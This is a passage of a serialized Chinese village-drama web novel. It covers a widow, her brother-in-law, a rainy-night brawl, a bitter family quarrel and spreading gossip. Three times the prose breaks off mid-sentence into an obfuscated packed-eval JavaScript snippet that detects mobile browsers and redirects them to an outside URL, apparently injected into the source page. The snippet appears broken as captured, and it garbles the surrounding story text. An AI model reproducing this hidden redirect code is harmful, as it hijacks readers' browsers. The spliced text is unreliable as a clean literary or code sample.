秋容一听,心中稍安,急忙追问:“那现在呢,她在你家吗?” 李大虎摇了摇头,说道:“现在不在了,走了!” 秋容一听,顿时如坠冰窖,焦急地问道:“走了?这么大的雨,她能去哪儿呢?麻烦你告诉我,你知道她又去哪儿了吗?” 王永航在一旁插嘴道:“秋容,你别求他,我看他就是个骗子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276356|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说的话一句都不可信。我才不信玉露大晚上的去你家干什么!” 李大虎满脸不屑地说道:“爱信不信,一个寡妇,一个姘头,还你信不信的,又不是你闺女,跟你有多大关系似的!” 王永航听到这话,气得浑身发抖,他怒目圆睁,指着李大虎的鼻子骂道:“你这小子,简直混账!”说罢,他便挥起拳头朝李大虎打去。 李大虎见状,连忙侧身躲开,然后飞起一脚踢向王永航。王永航被这一脚踹得连连后退,险些摔倒在地。 秋容在一旁看在眼里,急在心里,她连忙伸手想要将两人拉开,以免他们继续打斗下去。然而,就在她快要碰到李大虎的时候,李大虎突然用力一拽,秋容猝不及防,一下子被拽倒在地上。 王永航见状,急忙想去扶起秋容,可就在他弯腰的瞬间,李大虎又是一脚踹了过来,正中王永航的后背。这一脚力道十足,王永航被踹得一个踉跄,径直朝秋容扑了过去。 只听“砰”的一声,王永航重重地压在了秋容的身上。秋容被这突如其来的重压弄得有些喘不过气来,她的脸瞬间涨得通红,又羞又臊。 李大虎在一旁看到这一幕,不仅没有丝毫愧疚之意,反而哈哈大笑起来:“还说不是奸夫**,你看看这急切的样子,我是不是得给你俩腾个地方啊?哈哈哈哈……” 秋容又羞又怒,她瞪着李大虎,嘴唇颤抖着,却说不出一句完整的话来:“你……你……” 王永航此时也气得七窍生烟,他从地上爬起来,指着李大虎骂道:“你不要以为我年纪大就打不过你……” 两个人又扭打到了一起,秋容叫喊的声音,吸引来了周围的邻居,几家几户竟都打开了门…… 王小凤也开门看到了,立马气喘吁吁地从不远处飞奔而来,满脸怒容地吼道:“哎呀,这到底是怎么回事啊!我不是让你去接豆宝的吗?你怎么还在这里胡闹?” 她的话音未落,一转眼看到了那王家闺女的娘,便将矛头转向了秋容,继续责骂道:“还有你这个当娘的,自己的闺女天黑了不回家,你都不关心她去哪儿了!居然还带着个男人来这里胡闹,你到底想干什么?真是太过分了!” 面对王小凤的指责,秋容显得有些尴尬和无奈,她连忙解释道:“抱歉,打扰了,我也是刚刚才发现女儿不见了,所以才着急地四处寻找。请问您能告诉我,我女儿现在在哪里吗?” 王小凤依然余怒未消,她没好气地回答道:“哼,你女儿啊,她可是自己跑过来敲我家门的呢!我好心好意,就让豆宝把她送回家去了。谁知道你不但不领情,反而还带着人上门来打我儿子,这还有没有天理了!” 秋容听了这话,心中的一块大石头终于落了地。她意识到原来是一场误会,于是赶紧向王小凤道歉:“真是抱歉啊,都是我的错。既然我女儿已经回家了,那我们就先回去了,给您添麻烦了!”说完,她拉着那个男人转身离去。 扶起王永航后,两人便准备转身往回走。然而,就在这时,王永航突然看着李大虎,开口说道:“你这臭小子,以后可别再给我胡言乱语了!” 李大虎一听,反驳道:“谁胡说八道啦?你们大半夜的跑到我们村子里来捣乱,现在反倒怪起我来了?” 一旁的秋容见状,连忙劝解道:“大哥,别跟他一般见识了,咱们还是赶紧去找玉露吧,她应该已经回家了。” 李大虎听了秋容的话,立马说道:“不过,我得跟你们一起去,我儿子我还不知道他在哪儿呢!” 王永航白了李大虎一眼,显然对他的话并不在意,和秋容一起朝着王家村的方向走去。 他们刚走出村子,就看见李豆宝满脸伤痕地走了回来。李大虎见状,急忙迎上前去,关切地问道:“豆宝,你这是怎么回事啊?是王家那丫头打你的吗?” 秋容也赶忙问道:“玉露她人呢?” 李大虎怒发冲冠,他瞪大眼睛,满脸怒容地吼道:“我儿子都被打成这样了,你还有脸问!肯定是你家那个疯丫头干的好事!” 李豆宝有些胆怯地缩了缩脖子,结结巴巴地解释道:“半路上突然冒出来个人,说是她大哥,所以就……” 王永航和秋容对视一眼,异口同声地问道:“是国柱?” 秋容心中一紧,连忙追问:“那你的意思是说,玉露她已经回去了?” 豆宝赶紧点了点头,秋容见状,这才稍稍松了口气。 然而,李大虎却并不打算善罢甘休,他气势汹汹地继续吼道:“你们怎么回事儿?好心把你那丫头片子送回去,你们还把我儿子打成这样!讲不讲一点道理了!” 秋容也不甘示弱,她挺直了身子,理直气壮地反驳道:“那你不是也把我大哥给打成这样了嘛……咱们这就算扯平了……” 说完,秋容转头看向王永航,轻声说道:“大哥,咱们回家去吧!” 王永航点了点头,正准备转身离开,却被李大虎拦住了去路。 李大虎不依不饶地吼道:“谁同意你们走了?” 豆宝突然伸出手,紧紧地抓住了李大虎的胳膊,满脸痛苦地说道:“爹,我的腿还疼着呢,咱们还是赶紧回家吧……” 李大虎见状,心中虽然有些不甘,但看到豆宝那可怜巴巴的模样,终究还是心软了下来。他无奈地叹了口气,嘟囔道:“算你们今天运气好……” 说完,李大虎小心翼翼地搀扶着一瘸一拐的豆宝,缓缓地朝家的方向走去。而王永航和秋容则跟在他们身后,同样迈着沉重的步伐,一步一步地往回走着。 夜幕降临,天空中飘洒着细密的雨丝,使得道路变得湿滑难行。王永航的脚下突然一滑,身体失去了平衡,一个踉跄便摔倒在地。 第116章 雨夜的狼狈 这突如其来的变故让秋容措手不及,她想要伸手去扶住王永航,却也因为地面湿滑而站立不稳,整个人猛地向前扑去,不偏不倚地趴在了王永航的身上! 一时间,两人的身体紧紧地贴在了一起,彼此的呼吸都清晰可闻。王永航的心跳瞬间加速,他甚至能感觉到秋容的体温透过衣物传递到自己身上。 然而,就在这尴尬的时刻,王永航却突然发现自己竟然有那么一瞬间,觉得自己并不想从地上起来。这种感觉是如此陌生,却又如此真实,仿佛这是他这辈子都未曾预料到的场景。 而此时的秋容,脸上早已浮现出一片焦急之色。她急忙从王永航身上爬起来,关切地问道:“大哥,你有没有受伤啊?我来拉你起来!” 王永航静静地看着秋容没有作声,也没有动一下,反倒是吓坏了秋容,以为他摔坏到了哪里? 秋容急忙俯身下去,小心翼翼地将王永航扶起来,让他慢慢坐了起来。她关切地问道:“大哥,你摔到哪里了?有没有觉得哪里不舒服呀?” 就在这一刹那,两人的距离瞬间拉近,近得几乎能听到彼此的呼吸声和心跳声。秋容的目光与王永航交汇,她的脸上不禁泛起一丝红晕。 王永航有些尴尬地吞了吞口水,开口说道:“哎呀,我的腿有点疼!” 秋容一听,心中一紧,连忙安慰道:“这么严重啊,大哥,你先别急,我来扶着你,咱们慢慢走。” 由于刚才在雨中摔倒,两人的衣服都被淋得湿透了,还沾满了泥巴,活脱脱变成了两个泥人。然而,面对彼此狼狈的模样,他们却不约而同地相视一笑。 笑过之后,秋容看着王永航那狼狈不堪的样子,不禁心生怜悯,提议道:“大哥,你看你这一身脏兮兮的,要不我扶你去我家换身干净衣服吧,不然等会儿大嫂看到你这副样子,肯定又要怪罪我了……” 王永航听了秋容的话,心中有些犹豫。毕竟,秋容毕竟是弟媳妇儿,男女有别,这大晚上的去她家似乎不太合适。 然而,他低头看了看自己那沾满泥土的衣服,又想到刘爱花那副刻薄的面容,最终还是点了点头,同意了秋容的提议。 于是,秋容小心翼翼地搀扶着王永航,一步一步地朝着家的方向走去。由于王永航的脚受了伤,走起路来有些艰难,所以他们的步伐显得异常缓慢。 而在王永航的眼中,秋容那曼妙动人的身材此刻却显得格外引人注目。她的腰肢纤细,臀部圆润,每一步都散发出一种迷人的魅力。更让王永航心跳加速的是,秋容现在正扶着他,他能够真切地感受到她胸前的那片柔软正轻轻地贴着自己的手臂,这种触感让他有些心猿意马。 秋容完全没有察觉到王永航那如火焰般炽热的目光,她全心全意地搀扶着他,一步一步艰难地走回家中。 终于,他们到达了家门口。秋容推开大门,满心期待地想着玉露会像往常一样在家中等待着她。然而,当她踏进屋内,却惊讶地发现玉露并不在那里。 秋容的心中顿时涌起一股不安,她焦急地四处张望,试图找到玉露的踪迹。 王永航见状,连忙安慰道:“你别急,也许是国柱看到我们还没回来,担心玉露一个人在家不安全,所以把她带到我们家去了。等会儿他应该就会把她送回来的。” 秋容听了王永航的话,稍微安心了一些。她点了点头,然后迅速走进厨房,打了一盆热水端出来。 “大哥,你先洗把脸吧,这样会舒服一些。”秋容温柔地说道,同时将水盆放在王永航面前。接着,她又转身走进卧室,翻找出王永祥的衣服,拿出来交给王永航,准备让王永航换上,以免他着凉感冒。 王永航看着秋容忙碌的身影,心中不禁涌起一股暖流。他感激地对秋容说:“弟妹,我没事,倒是你,你看看你自己,全身都湿透了,这样很容易生病的。” 秋容突然惊觉自己的衣裳早已被雨水浸透,湿漉漉地贴在身上,不禁有些尴尬地说道:“哎呀,瞧我这一身,都湿透了。大哥,你也快去换套干爽的衣服吧,我先进去换一下。” 说罢,秋容匆匆忙忙地又端起一盆热水,快步走进屋内,顺手带上房门。她轻轻合上那扇略显陈旧的木门,将自己与外界隔绝开来。 王永航静静地站在门口,目光穿过那道狭窄的门缝,凝视着屋内的秋容。他看见她小心翼翼地将热水放在一旁,然后开始宽衣解带,用温热的水擦拭着身体。 秋容的动作轻柔而优雅,每一个细节都透露出一种女性特有的柔美。王永华的心跳不由自主地加快了节奏,他的呼吸也变得有些急促。 时间一分一秒过去,秋容终于换好了衣服。她轻轻整理着被雨水打湿的发丝。 王永华见状,迅速转身走进隔壁的房间,迅速脱下那身沾满泥巴的脏衣服,换上了已故弟弟永祥的衣裳。 尽管永祥已经离开了人世,但这件衣服却被弟妹秋容保存得异常完好。王永华穿上它,感受到了一种莫名的温暖。他甚至还能闻到衣服上似乎还残留着一丝若有若无的气息,那是秋容的味道。 他不禁猜测,或许是秋容常常抱着弟弟的衣服入眠,才会让这衣服上沾染了她的香气。想到这里,王永华的心中涌起一股复杂的情感。 想到这里,王永航心中一阵懊恼,他怎么能对弟媳妇儿产生这种不该有的想法呢?就算弟弟已经不在人世了,他也绝对不能这样啊! 他越想越觉得愧疚,于是狠狠地扇了自己一巴掌,仿佛这样就能把那些不该有的念头都赶走似的。 打完自己后,王永航深吸一口气,走到脸盆前,用温水洗了把脸。他看着镜子中的自己,暗暗告诉自己一定要控制好情绪。 洗完脸,王永航整理了一下衣服,然后缓缓地从屋里走了出来。 当他出现在秋容面前时,秋容不禁愣住了。因为此时的王永航,穿上了弟弟王永祥的衣服!而且,由于王永航和王永祥本来就是一对双胞胎,相貌上本就有些相似,再加上这一身衣服的加持,在昏暗的灯光下,王永航竟与去了的王永祥颇有一番相似之处…… 秋容的眼睛瞪得大大的,看着眼前的人,泪水在眼眶中打转。 “永祥……”秋容的声音有些颤抖,她情不自禁地喊出了王永祥的名字,然后像失去了支撑一般,猛地扑进了王永航的怀里,痛哭流涕起来。 王永航完全没有料到秋容会有这样的反应,他的身体一下子僵住了。但很快,他就回过神来,意识到秋容可能是因为太想念王永祥了,才会把他错认成弟弟。 过了好一会儿,王永航轻轻地拍着秋容的肩膀,柔声安慰道:“弟妹,你别这样,我是永航啊,以后家里要是有什么事情不好解决,你可千万别客气,尽管来找我就好啦!” 听到王永航的话,秋容像是突然回过神来一般,赶忙松开了原本紧紧握着王永航的手,并迅速地擦了擦眼角的泪水,有些不好意思地解释道:“真是不好意思啊,大哥,我刚刚把你看成永祥了,所以一时没忍住……” 王永航连忙摆了摆手,笑着说道:“没关系的,弟妹,这都是人之常情嘛!” 秋容见状,心中稍安,随即注意到王永航的脸上似乎也受了伤,于是关切地问道:“大哥,你脸上好像也受伤了呢,我去拿点药过来给你擦擦吧!” 说完,秋容转身快步走向房间,不一会儿便拿着药膏走了回来。她走到王永航面前,轻声说道:“大哥,这药可能会有点疼,你稍微忍耐一下哦,我会尽量轻一点的!” 王永航微笑着点了点头,示意秋容放心。秋容小心翼翼地打开药膏盖子,用手指蘸取了一些药膏,然后轻柔地涂抹在王永航脸上的伤口处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284283|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这时,房间的门突然被推开,王国柱和王玉露走了进来。王国柱一进门便看到王永航脸上的伤,不由得惊讶地叫道:“爹,你这是怎么弄的啊?怎么伤成这样了?” 王永航却不以为意地笑了笑,说道:“就是一点小伤而已,没什么大不了的!你们俩别这么大惊小怪的,像什么样子!” 秋容听到王国柱的声音,抬起头来,一眼就看到了他脸上同样有几道伤痕,不禁关切地问道:“国柱,你这脸上的伤是怎么回事啊?” 王玉露像个犯错的孩子一样,低着头,满脸愧疚地说道:“对不起,都是我不好……” 秋容见状,气不打一处来,她几步上前,一把揪住王玉露的耳朵,怒气冲冲地呵斥道:“你看看你,像个什么样子!要不是因为你乱跑,你大伯和哥哥怎么会被他们李家打成这样!” 听到这话,王国柱心中一惊,连忙问道:“什么?我爹也被人打了?” 王永航在一旁愤愤不平地说道:“可不是嘛,李家沟那个混账,不仅打了我,还栽赃我们两个!” 王国柱闻言,顿时火冒三丈,他咬牙切齿地说道:“哪个人这么坏,明天我去替你报仇!” 王永航赶忙拦住他,劝道:“算了算了,玉露安全回来了就好了,咱们也别再惹事了。我说玉露啊,这大晚上的,你不在自己家里待着,跑李家沟去做什么?” 秋容气得浑身发抖,她瞪大了眼睛,手指着王玉露,声音略微有些颤抖地说道:“王玉露,今天当着你大伯大哥的面,我要你发誓,以后绝对不准再跟那李家有任何往来!你大伯就是被那孩子的爹给打成这样的!” 王玉露低着头,嘴里却嘟囔着:“那大哥还不是把人家豆宝也打成那样了呢?!” 秋容一听,更是怒不可遏,她的脸色涨得通红,额头上的青筋都暴了起来,她大声吼道:“你……你还敢狡辩!你若是不乱跑,怎么会有这些事情?你不乱跑出去,所有人都不会受伤……” 王玉露却毫不示弱,她猛地抬起头,与秋容对视着,眼里充满了委屈和不满,她大声反驳道:“那谁让你把我锁在家里的?我喊了那么久你都不理我,以后我不要你管!”说完,她置气的扭过头去,不看秋容一眼。 秋容一脸严肃地对国柱说道:“国柱啊,麻烦你帮我把窗户给钉严实,免得她再偷偷跑出去,又要麻烦你们。” 又满脸怒容地对王玉露喊道:“王玉露,你真是太让我失望了!” 王永航见状,连忙上前劝解道:“玉露啊,有话好好说嘛,你这样对你娘发脾气,她得多伤心啊!” 王玉露却不领情,她嘟囔着说道:“还是爹对我好,平时我想去哪里,我想要什么,爹都会陪我去,不像她,天天这个不行,那个不能的!现在爹不在了,这个家里也没有人疼我了!” 秋容听到王玉露这么说,气得浑身发抖,她扬起手,朝着王玉露的脸就是一巴掌,怒吼道:“我真后悔生下你!” 王玉露被这一巴掌打得愣住了,她捂着脸,难以置信地看着秋容,哭着说道:“这就是你的实话了吧,不喜欢**嘛还要去找我!”说完,她转身就往门外跑去。 说时迟那时快,眼疾手快的王国柱一个箭步冲上前,一把抓住了王玉露的胳膊,大声喊道:“妹子,你这又是胡闹啥呢!” 王玉露满脸怒容,泪水在眼眶里打转,她激动地喊道:“我胡闹?你们都觉得我胡闹?好啊,这个家我是一分钟也不想待着了!” 秋容见状,脸色一沉,毫不示弱地回应道:“把她给我锁进屋里去!窗子也给我钉**,我倒要看看,你还能怎么飞出去!” 王玉露瞪大了眼睛,死死地盯着秋容,咬牙切齿地说:“我恨你!就算你把我锁起来,我还是会想办法跑出去的!等我出去了,我就再也不回来了!” 第117章 传闻…… 一旁的王永航看着这一幕,有些犹豫地开口道:“弟妹,这样做是不是不太好啊……” 此时,玉露已经生气的回了自己的屋子,秋容也没有把王永航的话放在心上,她打断了王永航的话,继续说道:“大哥,你也看到了,玉露现在这个样子,我也是实在没有办法了。所以我才想着,不如早些把她嫁出去吧,这样总比她哪天突然跟哪个野小子私奔了要强些吧!” 王永航若有所思地点着头,脸上露出一丝无奈的笑容:“哎,玉露这孩子啊,还是被永祥给宠坏了!这性子确实有些过了头啊!”他一边说着,一边轻轻地叹息着。 一旁的王国柱见状,连忙接口道:“爹,婶子,其实我倒是认识一个人,他跟咱家妹子的性格可像了,我觉得他们两个肯定能玩到一起去。要是他们两个能成的话,那可真是太好了!” 王永航和秋容闻言,不约而同地抬起头,异口同声地问道:“你说的是谁啊?” 王国柱微微一笑,自信满满地回答道:“他叫冯玉龙,跟我表弟关系好得很呢!之前我见过他一面,那性格嘛,跟玉露真有几分相似!” 秋容听了,心中不禁一动,姓冯?她暗自思忖着,天底下应该不会有这么凑巧的事情? 王永航不禁感叹道:“这玉龙和玉露,名字还真是相似呢,感觉就像一家子一样!” 一旁的秋容听到这话,连忙问道:“那……这冯玉龙他爹娘叫什么名字呢?” 王国柱有些无奈地回答道:“婶子,您这可真是难为我了,我哪里知道人家父母的名字啊?” 王永航见状,笑着对秋容说:“怎么?弟妹在冯家村里面有认识的人吗?” 秋容像是被吓了一跳似的,连忙摇头摆手,解释道:“没有没有,绝对没有,我这些年都一直待在咱们王家村,怎么可能会认识别的地方的人呢!” 王永航听后,笑着点点头,说道:“我就说嘛!我看呐,咱们就听国柱的,让玉露多认识几个朋友也挺好的嘛!” 就在大家你一言我一语的时候,突然,门又被推开了。紧接着,刘爱花气势汹汹地冲了进来,一进门就嚷嚷道:“哟,这大半夜的,你们爷俩儿就打算在这儿住上了?家都不要啦?” 王国柱一脸无奈地说道:“娘,您这是说的哪里话啊,我们只是在商量玉露妹子的事情而已!” 刘爱花却根本不听他解释,气鼓鼓地嚷嚷道:“大半夜的不睡觉,商量什么事情啊?你看看你们母女俩,一个疯疯癫癫的地折腾我儿子,另一个又哭哭啼啼的折腾我男人,结果呢,他俩都受伤回来了!可你们母女俩倒好,连根头发丝儿都没伤到,还是完完整整的呢!” 秋容满脸愧疚,低着头轻声说道:“嫂子,真是对不住您……都是我的不是……” 王玉露听着外面的吵闹声,走了出来!看着自己的母亲低三下四的样子,心中不禁涌起一股愤怒和无奈。她瞪大了眼睛,紧紧咬着嘴唇,嘟囔了一句:“真是没用!” 然而,这句话并没有被其他人听到,王玉露的母亲仍然在低头赔笑,试图平息大嫂的怒火。 王玉露再也无法忍受这种**,她猛地站起身来,气势汹汹地走到刘爱花的面前,毫不畏惧地直视着她的眼睛,大声说道:“我娘再不好,也轮不着你到我们家来说三道四,耀武扬威的!” 她的声音清脆而响亮,充满了愤怒和不满。这突如其来的一幕让在场的所有人都愣住了,一时间,房间里陷入了一片死寂。 秋容见状,急忙冲过来,一把捂住了玉露的嘴,生怕她再说出什么过激的话来。她一边用力捂着玉露的嘴,一边焦急地对大嫂说:“她还小,不懂事,嫂子别跟她一般见识!” 刘爱花被王玉露的话激怒了,她的脸色变得十分难看,恶狠狠地瞪着王玉露,咬牙切齿地说道:“你们母女两个就是扫把星,谁靠近你们谁倒霉!客**自己的亲人不说,自己男人也被妨**,现在又想来拉着我们家跟着一起倒霉……” 王永航听到刘爱花的话,脸色也变得阴沉起来。他皱起眉头,不满地看着刘爱花,说道:“爱花,你怎么能说这么难听的话呢?” 刘爱花见状,更是来气,她瞪大眼睛,指着王永航的衣服说道:“哎哟喂,你看看你这衣裳都换了,怎么着,难不成你们俩这日子还真过到一块儿去啦?” 王永航被气得七窍生烟,他瞪大了眼睛,满脸怒容,抬手就朝着媳妇儿狠狠地甩了一巴掌。这一巴掌打得又重又响,刘爱花的脸上立刻浮现出了一个鲜红的掌印。 “我不过就是衣服脏了,换套衣服而已,你怎么能这么不讲理呢?”王永航怒不可遏地吼道。 刘爱花被这突如其来的一巴掌打得有些发懵,她捂着脸,难以置信地看着王永航,眼泪像决堤的洪水一般涌出。 “好你个王永航,你竟然敢打我!这日子没法过了……”刘爱花的声音带着哭腔,充满了绝望和愤怒。 一旁的王国柱见状,急忙跑过来拉住刘爱花,焦急地劝道:“娘,你不要这样,我爹和婶子真的不是你想的那样……” 然而,刘爱花根本听不进去儿子的话,她指着秋容,破口大骂:“你个骚狐狸,不仅勾搭了我男人,连我儿子都被你灌了**汤了,一个个的都替你说话!!” 说着,刘爱花哭着坐到地面上拍打着撒起泼来。秋容见状,连忙上前想要拦住她,关切地说:“嫂子,地上凉,你还是快起来吧!” 刘爱花却像发了疯一样,用力推开秋容,骂道:“滚一边子去!你少在这里假惺惺的!” 王永航看着刘爱花这副样子,心中的怒火更甚,他大声吼道:“别管她,一天一天的,不知道她在作闹些什么!” 刘爱花怒不可遏地喊道:“好啊,嫌我多余了是吗?我现在就走!”她气得浑身发抖,转身便要离去。 秋容见状,急忙上前拉住刘爱花的胳膊,焦急地解释道:“嫂子,你真的误会了,你听我解释啊……” 然而,刘爱花根本不听秋容的解释,用力甩开她的手,头也不回地冲出了房门。 王国柱见状,连忙安慰秋容道:“婶子,没事的,我娘那脾气就那样,她一会儿就好了,你也别往心里去!我现在就去把我娘给追回来,爹,你也早点回家去吧!”说完,他像一阵风似的从外面跑了出去。 秋容望着王国柱远去的背影,心中充满了愧疚和不安。她转过头,看着王永航,轻声说道:“大哥,今天确实怪我,让你们都受了伤,嫂子怪我也是应该的!” 王永航叹了口气,苦笑着说:“嗨,说什么怪不怪你的话,她啊,不过就是借题发挥罢了,她其实怪了我很多年了……” 秋容一脸不解,她不明白王永航这句话的意思,心中暗想着:大哥,你这话是什么意思啊?我怎么听不明白呢? 王永航叹了一口气,觉得时间确实也不早了,便转过身对秋容说道:“好了,时间也不早了,你也早点睡吧,玉露的事情咱们慢慢想办法解决,别太着急了。”说完,王永航转身准备离开。 待他们离开后,王玉露静静地看着这一场闹剧,心中不禁涌起一丝愧疚感。她意识到自己今天的行为确实有些过分,让母亲为她担心了。 “娘,今天确实是怪我了!”王玉露低着头,轻声说道。 秋容看着女儿,眼中闪过一丝欣慰,毕竟她还是知道自己错了。她缓缓地说:“你现在知道自己错了?” 玉露连忙点头,“娘,我知道错了,我不会再自己跑出去了。”接着,她抬起头,可怜巴巴地看着母亲,“那你能不能不要把我锁在家里了?” 秋容沉默了一会儿,然后说:“那你得答应我,以后不准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292110|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再去找那个豆宝!” 玉露心里暗暗盘算着,不让去见豆宝,那她就偷偷地去嘛!反正母亲又不知道。于是,她毫不犹豫地答应了母亲提出的要求。 秋容见女儿如此爽快地答应,心中的一块大石头终于落了地。她想了想,又说:“不想读书就不读了,我准备明天带你去找裁缝铺的师傅,学门手艺,以后也好有个一技之长。” 玉露满脸狐疑地看着秋容,心里暗自琢磨着:“裁缝?这跟我有什么关系呢?” 秋容见玉露似乎有些犹豫,便连忙劝道:“孩子啊,你就听娘的话吧!娘是过来人,自然不会害你的!” 玉露听了秋容的话,并没有立刻回应,而是陷入了深深的沉思之中。 另一边的王国柱却快步追上了母亲,一脸焦急地说道:“娘,你这又是闹哪门子脾气啊?我爹和婶子之间可是清清白白的,你怎么能这么胡乱猜疑呢?” 刘爱花听到儿子的质问,停下脚步,狠狠地瞪了他一眼,没好气地说:“现在是清清白白,那以后呢?你小叔现在不在了,谁知道你爹会不会做出什么出格的事情来?” 王国柱无奈地叹了口气,解释道:“我说娘啊,你可不能总是这么疑神疑鬼的啊。我爹他是个正派人,绝对不会做那种事情的。” 母亲显然并不相信王国柱的话,反驳道:“那你爹他刚才还动手打我呢!” 王国柱一听,他的眉头紧紧地皱起,声音也不自觉地提高了八度,说道:“对,我爹他**确实是不对,但你也不能那样说婶子和我爹啊!这里也是你的家啊,这大晚上的,你又要闹脾气去哪里?我们找玉露都已经很累了,反而还得来哄着你!” 他的语气中透露出一丝焦急和无奈,仿佛对母亲的行为感到十分不解。 然而,刘爱花却似乎并没有被儿子的话所打动,她的态度依然坚定,甚至有些强硬地回答道:“对啊,你说的没错,我不能走,那是我的家,我得回家去!在我眼皮底下,看他们还敢不敢乱来!” 王国柱见状,无奈地摇了摇头,心中暗自叹息。 “好吧,现在人是回家了,爹你就自求多福吧!”王国柱叹了口气,陪着母亲回到家后,就回了自己房间,留下母亲一个人坐在那里生着闷气。 老两口一夜无眠,谁也不想搭理谁。王国柱躺在床上,翻来覆去地睡不着,心中想着明天一切应该都会好起来的。 然而,他万万没有想到,第二天早上,一个更加**性的传闻传遍了周边的几个村子…… 传闻是从李家沟开始的,下了一夜雨的早上,太阳终于从云层后面露出了头,洒下了一缕缕金色的阳光。 杏花像往常一样,早早地起了床,打开了自家的大门。然而,她一出门就看到了村里那几个长舌妇正围在一起,交头接耳地嘀咕着什么,还不时地用手指着杏花家的方向,捂着嘴偷笑。 杏花心里有些纳闷,不知道这几个女人又在背后嚼什么舌根。她好奇地走上前去,笑着问道:“你们几个这么早啊?” 吴桂华抬起头,看着杏花,脸上露出一丝狡黠的笑容,说道:“我说,昨晚那么大动静,就你们家离得最近,就没听到点啥?” 杏花一脸茫然,疑惑地问道:“啥动静啊?昨晚上我睡得可香了,净听见雨声了,其他的啥也不知道啊!” “你看你,住这么近都不知道!”吴桂华故作惊讶地说,其他几个女人也跟着附和起来,七嘴八舌地议论着。 “我偷偷告诉你啊,他们家大虎昨天又跟人打架了,半夜里可是好多人都出来看到了!”说这话的女人一脸神秘兮兮的样子,好像掌握了什么不得了的秘密。 杏花一听,眼睛都瞪大了,“哎呦,这我还真是不知道呢!为啥打架啊?”她显然对这个消息很感兴趣,迫不及待地想知道更多细节。 第118章 上梁不正下梁歪 “还能为啥啊?为了个寡妇啊!”那人语气肯定地回答道,似乎对这件事情非常了解。 “还真是?寡妇门前是非多啊!”杏花感叹道,“这寡妇也真是的,怎么就惹上这么多麻烦呢。” “还有更精彩的呢,昨天我可看见了,那可不是一个寡妇和一个男人,而是一个寡妇和两个男人!”吴桂华的声音不自觉地提高了八度,生怕别人听不到似的。 “听着都觉得精彩,这两个男人抢一个寡妇,你说这王家村的寡妇居然跑到咱村里来,还被别的男人跟着一起来的!”其中一个女人惊讶地说,“这可真是够乱的!” “会不会不是寡妇啊,有没有可能是那个女人偷汉子,被男人跑来抓奸的?”又有一个女人突然提出了一个大胆的猜测,让周围的人都不禁陷入了沉思。 “那就是个寡妇,他男人上个月才没得,我之前还见过呢!这女人可真是寂寞的很呢,下那么大雨还跑出来会男人!” “还不止呢,上梁不正下梁歪,这老得为了抢那一个寡妇打架,这小的也为了抢那寡妇的女儿打架,你们说精不精彩!” 越传越离谱,就像那滚雪球一样,越滚越大,而且说的有鼻子有眼的,仿佛真有那么回事儿似的。再加上李大虎和李豆宝身上确实都有伤,这可就由不得人不信了啊! 这世上的事儿啊,就是这样,好事儿往往不声不响的,没多少人知道,可坏事儿呢,那传播速度,简直比闪电还快!就这么一传十,十传百的,这段所谓的“佳文”,那可是被传得绘声绘色、活灵活现的,甚至连周边好几个村子都给传遍了…… 王小凤一家对此可是一无所知啊,他们压根儿就不知道自己早就被人传成了那副模样。这一整天,王小凤总觉得别人看自己的眼神有点儿怪怪的,可她就是想不明白这到底是为啥…… 再说李大虎,这家伙一觉睡到自然醒才慢悠悠地起了床,然后胡乱扒拉了两口吃的,就这么晃晃悠悠地走出了村子。 可刚一出门,就有人满脸笑容地朝他喊道:“嘿,你小子行啊!” 李大虎被这突如其来的一嗓子给喊得有点儿发懵,他眨巴着眼睛,看着那几个人,心里头直犯嘀咕:“这都是说的啥啊?我咋一句都听不懂呢……” 正巧走到村口的时候,李万原朝着他吹了声口哨,一副悠闲自得的样子。 他看到李大虎走过来,嘴角立刻泛起一丝戏谑的笑容,仿佛看到了一场好戏似的。 “我说大虎哥,你可真是厉害啊!”李万原阴阳怪气地说道,“我看你这勾搭女人的本事,真是越来越厉害了呢,一个比一个漂亮啊!” 李大虎一听,顿时火冒三丈,他瞪大眼睛,对着李万原吼道:“你在胡说八道些什么!什么女人不女人的,我根本就不知道你在说什么!” 李万原却不以为然,他继续调侃道:“哎呀,大虎哥,你就别再装了吧。昨晚上那点事,全村的人可都知道了!” 李大虎的脸色变得有些难看,他不耐烦地挥挥手,说道:“昨晚上?我不就是打了一架嘛,有什么好大惊小怪的!” 李万原见状,更是来了兴致,他故意提高了声音:“哎呦喂,你这一架打得可真是够激烈的啊!听说三个人都在泥地里滚了一身泥呢!” 李大虎的脸涨得通红,他怒不可遏地吼道:“滚一边儿去!老子有那么菜吗?收拾那老家伙,对我来说还不是分分钟的事情!” 